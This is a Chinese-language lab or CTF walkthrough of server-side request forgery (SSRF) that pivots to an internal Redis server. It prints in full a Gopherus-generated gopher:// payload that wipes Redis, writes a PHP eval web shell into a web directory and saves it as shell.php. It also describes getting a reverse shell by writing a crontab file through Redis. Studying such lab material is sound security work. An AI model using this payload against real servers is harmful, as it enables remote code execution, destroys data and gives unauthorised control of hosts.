一、ssrf介绍
SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。
二、原理
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web
应用作为代理攻击远程和本地的服务器。
三、漏洞演示
资源下载后使用docker 安装
安装之后会有两台docker容器,如图
这里映射的8091端口,我们访问该端口就会看到源代码
四、具体操作:
分析该代码:
curl_setopt
(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)
curl_setopt — 设置 cURL 传输选项
说明
curl_setopt(CurlHandle $handle
, int $option
, mixed $value
): bool
为 cURL 会话句柄设置选项。
参数
handle
由 curl_init() 返回的 cURL 句柄。
option
需要设置的CURLOPT_XXX
选项。
value
将设置在option
选项上的值
示例 初始化一个新的cURL会话并获取一个网页
<?php
// 创建一个新cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, false);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
//关闭cURL资源,并且释放系统资源
curl_close($ch);
?>
注释
注意:
传递一个数组到
CURLOPT_POSTFIELDS
,cURL会把数据编码成 multipart/form-data,而然传递一个URL-encoded字符串时,数据会被编码成 application/x-www-form-urlencoded。
这里还过滤了file和dict,不能够使用,但是有个info可以用,返回phpinfo()
这里其中显示的有apache2的信息,我们访问该地址看一下
把源码又输出一遍最后加个一,好像再没有什么信息了,没有我们想要的,但是这里也算给了一个提示,这里他既然有apache服务器,那极大可能有其他的服务器也在跑,我们可以尝试扫描一下,其实我们在拉好的docker容器时上帝视角也可以看出来还有一台设备,并且吟社的端口是6379。。。这里还是以扫描为主。
可以看到我们扫描出来了地址1,2和我们之前看到的3号地址,1号是我们搭建docker容器时自己的地址,那还有个2号,我们再看一下
返回了一个Go away1,这作者真有意思,那我的看看
顺便扫描一下他的端口
有发现6379端口扫出来,那我们研究研究
redis的漏洞我准备使用gopherus尝试一下(gopherus下载在gethub上搜索下载)
这里尝试写入shell来执行我们的命令。
这里的路径设置默认是/var/www/html,但是这个目录一般有权限问题,这里是为了出题而设置的uoload目录,我们在不知道该目录的情况下可以去通过猜测该目录或者使用扫描工具扫描就可以获取路径。
这里我们生成shell,看一下这是什么
gopher://127.0.0.1:6379/_*1
$8
flushall #这个命令清空了 Redis 数据库中的所有数据,清除了所有的键值对
*3
$3
set #命令用于向 Redis 写入一个键值对,这里的键是 1,值是 PHP 代码片段
$1
1
$31
<?php eval($_POST['1']); ?>
*4
$6
config #config set dir /var/www/html/upload:将 Redis 的保存目录设置为
/var/www/html/upload,这是一个 Web 服务器可以访问的目录。
$3
set
$3
dir
$20
/var/www/html/upload
*4
$6
config #将 Redis 的数据库文件名设置为 shell.php。这意味着当 Redis 保存数据时,它会在 dir 指
定的目录下生成一个名为 shell.php 的文件
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save #命令强制 Redis 将内存中的数据保存到磁盘。由于 Redis 现在的保存目录是
/var/www/html/upload,文件名是 shell.php,所以会在 /var/www/html/upload 目录下生成一个包
含恶意 PHP 代码的 shell.php 文件。
执行该木马,这里要将这些符号重新编码,也就是再点一下编码因为这里再写入和执行时存在编码问题,所以要二次编码
url后边跟我们的一句话,这样子再upload目录下会生成我们的木马程序,接着我们访问该木马程序
也就是执行我们命令:<?php system(cat flag) ?>
成功拿下!!!
这里gopherus给我们提供了写shell和反弹shell,再来看一下反弹shell
Redis 会以 0644 权限写入文件,而 ubuntu 上的 crontab 文件预计具有 0600 权限,因此它会在系统日志中给出警告。
另外,Redis RDB文件中存在虚拟数据,这会导致 cron 忽略 crontab 文件,因为存在无效语法,所以即使 crontab 文件具有0600权限也不会执行。
Cron 语法错误
在 Ubuntu 中,通过 SSRF 使用 Redis 写入 crontab 文件将无法正常工作,因为 Ubuntu 中的 crontab 文件需要具有 0600 权限才能执行,并且需要清除导致语法错误的虚拟数据。
在 Centos 上,即使 crontab 文件的权限为 0644,且有虚拟数据,cron 仍会被执行,这样它就可以获得反向 shell。